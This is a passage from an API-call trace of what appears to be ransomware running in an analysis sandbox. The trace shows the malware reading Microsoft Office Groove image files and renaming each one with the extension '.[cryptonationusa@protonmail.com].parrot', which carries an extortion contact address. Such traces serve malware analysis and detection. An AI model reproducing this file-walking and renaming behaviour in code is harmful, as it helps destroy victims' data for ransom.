Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.769] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.769] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.771] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.772] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167bd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x167bd, lpOverlapped=0x0) returned 1 [0189.775] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.784] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.784] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.806] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.806] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ebb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4ebb, lpOverlapped=0x0) returned 1 [0189.826] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.833] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.833] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.835] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.835] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x40f, lpOverlapped=0x0) returned 1 [0189.835] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.842] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.843] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.927] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.927] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5690, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5690, lpOverlapped=0x0) returned 1 [0189.977] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.984] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.984] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.985] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.985] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6a, lpOverlapped=0x0) returned 1 [0189.985] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.990] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.991] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.992] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.992] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x21a6, lpOverlapped=0x0) returned 1 [0189.993] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.999] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.999] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.000] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.001] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d57, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3d57, lpOverlapped=0x0) returned 1 [0190.001] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.007] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.007] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.053] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.053] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1845, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1845, lpOverlapped=0x0) returned 1 [0190.054] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.061] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.061] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.063] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.063] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5141, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5141, lpOverlapped=0x0) returned 1 [0190.065] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.073] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.073] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.076] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.077] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x193c, lpOverlapped=0x0) returned 1 [0190.077] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.084] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.084] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.093] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.093] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c64, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3c64, lpOverlapped=0x0) returned 1 [0190.094] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.101] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.101] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.102] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.102] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x171, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x171, lpOverlapped=0x0) returned 1 [0190.102] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.108] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.108] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.109] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x176, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x176, lpOverlapped=0x0) returned 1 [0190.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.150] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.150] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.150] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.151] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb5, lpOverlapped=0x0) returned 1 [0190.151] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.181] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.181] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.182] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.182] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb7, lpOverlapped=0x0) returned 1 [0190.182] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.189] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.189] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.190] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.190] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x171, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x171, lpOverlapped=0x0) returned 1 [0190.190] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.197] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.197] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.198] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.198] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: 